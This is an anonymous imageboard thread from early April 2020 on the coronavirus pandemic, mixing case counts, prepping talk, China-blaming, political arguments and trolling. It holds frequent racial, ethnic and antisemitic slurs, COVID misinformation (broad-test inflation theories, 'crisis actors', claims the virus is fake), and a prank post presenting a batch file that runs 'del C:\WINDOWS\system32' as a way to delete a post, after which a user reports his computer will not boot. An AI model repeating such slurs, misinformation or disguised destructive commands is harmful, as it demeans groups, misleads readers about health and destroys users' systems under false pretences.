/cvg/ Corona Virus General - Something Burger Edition #2878

Are you just gonna post dog abuse at the start of every thread

Why is there no more intelligent discussion left in these threads? Even a week ago people used to discuss prepping and prevention now it's just assholes gloating over how many people die per day.

>► Detected: 1,015,728 (+80,559) ► Died: 53,202 (+6,019) ► Critical: 37,646

5% k/dr

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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
WHAT IS HAPPENING

Still angry about those nukes, are they?

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Who knows anymore

If I prepped and live with people that won't stay home, am I gonna get it and die?

cool post

This image is interesting not because corona is fake, but because of the implications of what broad-spectrum coronavirus testing actually means.

I can't definitively say the Covid test target only Covid-19. In the rush to make testing kits, it seems plausible that the tests would test broadly for the sake of getting them to market quickly.

If that was the case, it means that Covid-19 numbers are slightly inflated, but more importantly it means that the death rate is deflated. This could be where the "asymptomatic" cases are coming from, people with regular, well known common cold coronaviruses are being tested to come out as positive. This could be where reinfection comes from, people just have a common cold, only to get Covid-19 while in the hospital.

We have no idea what the actual death rate of Covid-19 is. This would help explain the seemingly insignificant death rates in some areas.

is the us doing anything about the jails? they're gonna get raped

People are bored.

>THIS VIRUS IS FAKE
That's the cope speaking, still holding onto a dying world.
Those days are gone and they ain't coming back.

prepping and prevention is all pointless unless obscene shitloads of people die every day

Isn't it amazing how the cannabis industry is considered essential right now?

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agree... forever burger will always be here

>The greatest economy the world has ever seen can't withstand a temporary shutdown to stop a virus spreading

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It says that it is used on r*ddit, which is technically correct, but it should say that it was created by Yas Forums.

Drinking wine right now

[Chester Bennington:]
It starts with one
[Mike Shinoda:]
One thing I don't know why
It doesn't even matter how hard you try
Keep that in mind, I designed this rhyme
To explain in due time

[Chester Bennington:]
All I know
[Mike Shinoda:] Time is a valuable thing
Watch it fly by as the pendulum swings
Watch it count down to the end of the day
The clock ticks life away

[Chester Bennington:]
It's so unreal
[Mike Shinoda:]
It's so unreal, didn't look out below
Watch the time go right out the window
Trying to hold on, but didn't even know
I wasted it all just to watch you go

[Chester Bennington:]
Watch you go
[Mike Shinoda:]
I kept everything inside and even though I tried, it all fell apart
What it meant to me will eventually be a memory of a time when I tried so hard

[Chester Bennington:]
I tried so hard
And got so far
But in the end
It doesn't even matter
I had to fall
To lose it all
But in the end
It doesn't even matter

It's about 2 months too late to prep
There's no prevention other than not leaving the house

anything is possible through the power of communism

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You obviously aren't drunk enough if you're freaking out, fren.

We discussed prep like crazy in late January and early February. Anyone who's been here since then has already made their lists and hopefully crossed everything off.

Stop

nice

bit late to be prepping and preventing now

>You will never get a breast sucking handjob from her.

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I'm not actually freaking out I'm just mildly upset and wanted attention
I'm gonna smoke a cig

>gentle giant

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damn, how I supposed to see this country burn if everyone is doing well :'(

Instead of spending resources to helping people, Adam Schiff want to spend it on investigation again.
Politic in this country is truly funny.

web.archive.org/web/20200401205201/https://www.washingtonexaminer.com/news/schiff-wants-coronavirus-commission-to-investigate-federal-response-to-pandemic

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i agree... it isn't going away anytime soon

to guy who wanted ecuador in prior thread
instagram.com/p/B-aexwcgHop/

I coomed like 5x already. take it down.

>GREATEST COUNTRY IN THE WORLD

Idk about this one chief, we're kind of dropping the ball. Would rather be in SK, shit even NK.

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omega mogged humans

spin spin spin forever burger

post your favorite gentle giant song youtube.com/watch?v=T1VRJGoD4uY

I'm about to smoke a cigarette should I coom first or no

it’s april burger the last time to prep was end february

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Wtf. They don't even have pictures.

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dude... what is this wizardry... i've never seen anything liek it before

I love USA big guns and big titties once this corona blows over we'll be back to business

Singapore is kill.

what can we discuss? everyone should know the facts by now (looking at the gov of georgia). We just have to wait for the doctorinos to make a treatment, or just get deep into models or vaccine theory.

i for one love seeing videos of people getting their asses beat for violating quarantine. god bless the poos.

I'm black by the way fuck all you incel cracker virgins

youtube.com/watch?v=42e1ZDS4CTQ

beautiful

Immune system can fight it well enough.
Prevention would be giviing everything to your body it actually needs the keep the immune system happy.

Though I agree that there should be one, now is not really the time.

if you have sex after the quarantine, you'll get reinfected lol

china will try to use this to surpass us

>Whitehouse Coronavirus Press Conference
>Welcome myself, thank you for being here
>Here are some very old jews to tell you that we might be doing something, soon
>Thank you, Goldbergshekelstein
>Now for the questions
>Mr.Blumpf, would you like to talk about niggers tonguing your anus as a cure, what did you mean by this?
>Well, we had the best economy

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why are redskins so under represented on these cringy fucking fake work meetings?

are you lost nigger?

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i live in nyc ask me anything

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how he do it?

fuck china

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Hi Gary!

I got really sick a couple weeks ago and then fucked a stripper I really don't care
I still have a cough

Nice, I didn't have this picture.

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Depends if they're cautions when they go outside, it's possible. Quarantine in a room inside your house and avoid them inside the house. Know the high touch area in your house and avoid them. White house is saying it's possible to contract it through breath.

What does it actually take to beat the coronavirus?

Because there is no cure for the virus at present, the only solution is to contain the spread and let the people who have it beat it themselves or die. To effectively contain the spread, a lockdown (in place across much of the world) can only be the first step. A necessary second step is to test and trace all the contacts of known cases, everyone with symptoms, and as many other people as possible, to effectively isolate the known spreaders.

Once that system is firmly in place, it's time to look at a secondary concern, namely re-importation of cases from abroad. You have to keep the borders closed for all comers, freight excepted (drivers and pilots and ship personnel need special regimens to minimize exposure), and quarantine all who arrive.

The developing world (US included) is still mostly in stage 0, with no or partial lockdown. Europe is in Stage 1, with a lockdown but insufficient testing and tracing to actually beat the thing. Korea is in Stage 1.5, having almost contained the spread. China and Taiwan meanwhile are at Stage 2, only having to worry about re-infection by foreign devils (ignore CIA shills coping otherwise).

Long as we don't manage to get to stage 1.5, life will continue to be isolated and generally shitty.

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The mods delete the prepping threads
I made several and they were deleted or slid.

Yas Forums gay as hell idk why I stayed here for a decade I hate the future fuck 2020 suck my dick cracker

my family wants to runaway to mexico :(

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Interesting. Sounds like prog rock made by elves.

Dunno man. Even countries that reacted fastest like Singapore, Korea, Saudi Arabia, Russia etc are still pretty fucked economy-wise. And you started to do something 2 months late.
Well let's see how it would work for you.

i vote best gif of the year

Calm down [spoiler]nigger[/spoiler]

I'm finishing my alcohol and leaving fuck all of you
See you tomorrow

THIS VIRUS IS KILLING ALOT OF PEOPLE AND I LIVE IN NYC, THE BIGGEST CORONA CLUSTER, THERE IS CORONA IN EVERY DISTRICT!!!!

>joins a thread
>cries that he doesn't want to be here
then leave faggot

uhhhhh.... how do you delete posts?

We must repopulate

>doctors having orgasms every 5 minutes because they can now experiment on live humans and they get applause for it instead of hanged

Good luck in your country bro

Why not? Not like the lawmakers (as opposed to executive) have anything better to do. The CCP conducted its own disciplinary investigation immediately, and all the party bosses in Hubei and Whuhan are already fired and/or in jail. The west should be able to do better when it comes to accountability at least.

nobody invites you, you can go back to whatever you belong.

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You're here forever, faggot.

keep the normies calm

> (OP)
>>► Detected: 1,015,728 (+80,559) ► Died: 53,202 (+6,019) ► Critical: 37,646
>5% k/dr

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I don't understand.... This is supposed to not be as bad as a flu. Right?

Whats gonna happen to Corona chan at the next milestone?

Why are you replying to yourself?

Forget about China. It pretty much doesn't exist as economic power already, and it will cease to exist as state very soon.

REMEMBER KEEP CALM AND BLAME CHINA, FUCK CHINA, I LIVE IN CHINATOWN NEW YORK CITY

their first 7 albums are great
youtube.com/watch?v=jEFO_i8iUWY

based
america numba wan

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how is food situation?

eat yo vegitals

I'll be back
I don't belong anywhere
I know

no no no... not me... how do you delete posts?

FUCK CHINA!! THIS IS ALL CHINAS FAULT!!!!

with cases in Austria slowly dropping, should I go to the grocery store with my plague mask for giggles?

that is a mistake... not me... how to delete?

THIS VIRUS IS TAKING AWAY EVERYTHING AND EVERYONE I LOVE!!!!!

You press alt and f4 at the same time

Don't they realize they have it even worse?

I don't know anymore dude humans are crazy who knows if it's a conspiracy I'm ready to die and see the afterlife at this point

A bunch of black hawks just passed towards the airport here in Jax.

>all the party bosses in Hubei and Whuhan are already fired and/or in jail
That was just a coverup for higher level incompetence, though. All I want to see is the communiques between the intelligence agencies and trump/his cabinet. The rest will work itself out.

good luck, it's closed. The u.s. / canadian border is closed too.

yeah, BUT I LIVE IN NYC

that just closed my browser.... didn't delete anything...

Please reply to this post I need attention and reassurance

China has a lot of blame on this shit, yes indeed but the real faggot who let the virus enter on all countries was the WHO.

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they got fired for talking about the virus in the first place

if you say black hawks out loud it sounds like black cocks lol

they think they can escape in the mountains with its rural farm land

>whole world is being infected with corona
>meanwhile be the only country where corona is contained
China is going to provide everything for us while all we do is stuff the dead into bodybags.

You'll lose many loved ones due to this plague and society struggling to cope

how delete post?

Buy a Yas Forums pass for that

i love you user

no we need you emcel alive for WHO recaps

If your definition of prepping doesn't include shelter free from constant wild card contamination I don't know what to tell you user.

nothing burger

Nice try chink
Who niggers are just a chink propaganda arm
China bears 100% of the responsibility for this

>China has a lot of blame on this shit, yes indeed but the real faggot who let the virus enter on all countries was the WHO.
ITS A FUCKING WAR ZONE OUTHERE, DEATH IS IN EVERY CORNER AND I STILL GOTTA BIKE TO WORK

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how much? i need

My grandma about to die she's so old god bro

>Singapore, Korea
They are back to business as usual. And given the lack of activity elsewhere, they will do well. Remember that this is no classic demand-side depression; we have a general economic collapse both in supply and in demand as people no longer go to factories etc. But people still need to have their needs met, hospitals still need supplies, etc. So anyone who now has a humming economy will make a killing supplying all the countries that don't.

The real trick is of course to now get the countries with shut-down production to take on debts in your own currency, or you risk that they simply inflate their debts away. Which is what the US will do 101% - dollar will be at 100th of its current value in a year or two, as a way to get rid of humongous debt.

>Saudi Arabia, Russia
They are fucked by oil price war, and Russia is not handling the epidemic too well besides. They were too smug at first and are now steadily getting overwhelmed.

But now is not the time to do it as it waste resource which could use to help people. And I bet the Dem won't investigate themselves as they were the one who call Trump racist in his Jan China Travel Ban (and expect people to have a goldfish memory).

you need a Yas Forums plus account

Have any countries spoke about exit strategies yet?

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but why?

FUCK CHINA
FUCK CHINA
FUCK CHINA
THE CHINESE TOOK EVERYTHING I LOVE!!!!!
THIS CHINESE VIRUS IS AMONG US

>not totally isolating your grandma

do you even love your gran gran faggot

Yes NYC is in a bad spot. You would be better of is, like in Wuhan, you had a central government that mobilized the whole country to help you.

In stead you have Trump.

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I'm leaving Yas Forums for the night I need more positivity thank you to all the positive anons I hope everyone is okay life is crazy racism doesn't exist

how delete?

you can blame also the attitude of all the government on this issue. don't you guys remember when everybody call us schizo back in january and february?

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put "delete" in the name field and reply to the post you would like to delete

Well shit, Move there, quarantine 14 days, then live the good life.

CORONA MY ASS

SOCIALISM VS CAPITALISM
GET THE FUCK IN HERE

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>Ontario will "show how dire the situation is today"
>"you deserve to know what I know, the situation is extremely extremely serious"

what will we see today?

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It's out of my control

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AAAAAAAAAAAAHHHHHHHH, I need to get off /cvg/, prune some tabs, and restart my browser. It's so hard, though.

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at least this will hopefully expose the commie fucks for who they are

You filthy attention whore, take my veiny, pulsating (You) into your hungry, perverted attention receiver

"Delete"

FUCK CHINA
FUCK CHINA
FUCK CHINA
I CANT SEE MY FRIENDS
MY FAMILY WANTS TO RUNAWAY
EVERYTHING IS CLOSING
ALOT OF PEOPLE ARE GETTING SICK AND FUCKING DYING AND THESE ARE LOCALS, THERE IS CORONA IN EVERY DISTRACT OF NYC

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video of people dying at street or BTFO

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Because chinks lied, bribed and faked numbers

Trimming obviously isn't essential outside of medical. They will fuck everyone without a preexisting med card as well. Pic related is the last batch from my favorite rec shop I may ever see, sad.

What if the banks just try to reclaim all leased properties and then Great Leader Walks out cutting some gold ribbon and opens up New Chinaland or whatever?

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Open Notepad, type:

@echo off
del C:\\WINDOWS\system32

Save as deletepost.bat and double click on the archive.

you know... atleast i didn't do that.....

just can't delete post...

I HAVE TO STAY IN THE CITY AND WORK
I BIKE TO WORK
I LYSOL THE SEATS AND THE WORKSITE IS A BIG EMPTY BUILDING

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No, they were fired for bad response. It was also them that for example disciplined that one doctor. In China when there is a problem, 99% it is the local leaders who ignore central directives. It's not that diffrent from other countries: the lower down you go, the less competent the administrators become. Imagine if some Belgian provincieraad full of third rate hacks had to rule over provinces of 50 million people.

Well? Why?

Just what you already know, but the normies don't.

no it only works if it's your own post. also remove the "". just type delete in the name field

the only exit strategy is to slowly let it spread through the population, we said as much but normies started freaking out because hearing 'herd immunity' made them feel like animals sent to slaughter

vaccine is years away, if ever

Yeah, but where to sign up?

This just crashed my computer... won't boot....

CORONA CRISIS ACTORS
>CORONA CRISIS ACTORS
CORONA CRISIS ACTORS
>CORONA CRISIS ACTORS

youtube.com/watch?v=0a4AK_g9fHA

youtube.com/watch?v=12ZhdYCpJ90

They had to deploy crisis actors because no one is believing the agenda.

Or maybe these guys are legit? What do you think?

CORONA CRISIS ACTORS
>CORONA CRISIS ACTORS
CORONA CRISIS ACTORS
>CORONA CRISIS ACTORS

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If you called let them to die and beating people into submission "a good government" sure.

>Trust Chinese Numbers

of course, they do but this is also the fault of ignorance and negation of all western. people just get what they fucking deserve.

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WELL, IM SCARED AND I CANT DO THE THINGS I LIKE ANYMORE, THE CHINESE TOOK EVERYTHING I LOVE AWAY

What is reason for “hot spots”. Ie Wuhan, New York, Northern Italy is a shit show. But India, Los Angeles, even Shanghai and other more closely related cities to China are not.

Alright, Done

Some useless representatives digging through records is not wasting resources. What kind of resources do you think an investigative commission needs? They mostly just go through documents, it's a bunch of paper pushers pushing a lot of paper, that can be done anytime.

WUMAO 50 CENTS EVERYDAY
don’t you ever get tired of towing chink partyline

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>Trade with China is great!

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Did they make a sequel to Powerpuff Girls Z? What's this from?

posting from phone now...

NEW YORK CITY IS A SHIT SHOW, THE STREETS ARE DEAD, THE HOMELESS LURK SICK AND HIGH OFF DRUGS

Why what?

>This just crashed my computer

you mean for real or just LARPing?

You can kill it via lockdown for 2 months and then mass testing, but you can't open your borders again until vaccine.

yeah, for real... had to switch to my phone

Ching Chong Bing Bong
Ate tiger wang but still repulsive to she-chong

nonononono user
delete
u reply to your own post

stfu bait fag

delete

I DONT KNOW IM JUST CLICKING RANDOM PHOTOS ON MY POSTS

It is confirmed.
64,000 British people will die...... not of Coronavirus. But of pollution.

Can a Coronafag explain to me why 64,000 people dying of pollution never caused an economic collapse and mass house arrest of the entire population, but we have shuttered the economy and put under house arrest the entire nation to prevent a similar number of people dying from Coronavirus?

Doesn't that seem fishy to anyone?

(2019 source: inews.co.uk/news/health/air-pollution-kills-64000-people-in-the-uk-every-year-80393)

So the next time you get angry at someone breaking quarantine rules, remember that if you've driven a car in the past year, you have contributed to pollution and the death of 64,000 people. And get off your high horse.

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Let me ask it another way:
Coronafags clearly think it's write to destroy the economy to prevent hundreds of thousands, perhaps millions of deaths from Corona worldwide.
Air pollution kills 10,000 people a day according to the hysterical media.
(forbes.com/sites/rogerpielke/2020/03/10/every-day-10000-people-die-due-to-air-pollution-from-fossil-fuels/)
That's 3.6million people a year dead due to pollution.

So do you also think that the entire economy should be shut down to stop pollution deaths, which are likely much higher than Coronadeaths?

Doesn't all of this seem strange to you?

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You would have different ID if you switched...